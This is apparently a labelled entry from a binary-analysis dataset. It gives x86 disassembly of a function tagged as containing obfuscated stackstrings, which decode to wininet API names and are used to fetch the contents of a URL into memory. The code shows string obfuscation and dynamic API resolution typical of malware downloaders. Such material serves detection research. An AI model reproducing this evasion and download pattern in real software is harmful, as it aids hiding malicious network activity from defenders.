Function at 0x10002f86
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
xor ebx, ebx
cmp dword [0x10005464], ebx
je 0x10002fc1
cmp dword [0x10005468], ebx
je 0x10002fc1
cmp dword [0x1000546c], ebx
je 0x10002fc1
cmp dword [0x10005470], ebx
jne 0x100030b2
mov dword [ebp - 0x1c], 0x696e6977
mov dword [ebp - 0x18], 0x2e74656e
mov dword [ebp - 0x14], 0x6c6c64
mov dword [ebp - 0x10], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov edx, 0x65746e49
mov eax, 0x74656e72
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], 0x736f6c43
mov dword [ebp - 0x64], 0x6e614865
mov dword [ebp - 0x60], 0x656c64
mov dword [ebp - 0x5c], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov esi, 0x6e65704f
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], 0x41
mov dword [ebp - 0x48], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 0x416c7255
mov dword [ebp - 0x20], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0x64616552
mov dword [ebp - 0x38], 0x656c6946
mov dword [ebp - 0x34], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x70]
push eax
push edi
call esi
mov dword [0x10005464], eax
lea eax, [ebp - 0x58]
push eax
push edi
call esi
mov dword [0x10005468], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x1000546c], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [0x10005470], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x10005468]
cmp eax, ebx
mov dword [ebp - 0x74], eax
je 0x1000318f
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x1000546c]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10003186
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x10005470]
test eax, eax
je 0x10003174
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x10003170
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x1000313c
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x10003170
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x10005470]
test eax, eax
jne 0x10003116
cmp edi, ebx
ja 0x10003180
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x10003186
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x10005464]
push dword [ebp - 0x74]
call dword [0x10005464]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret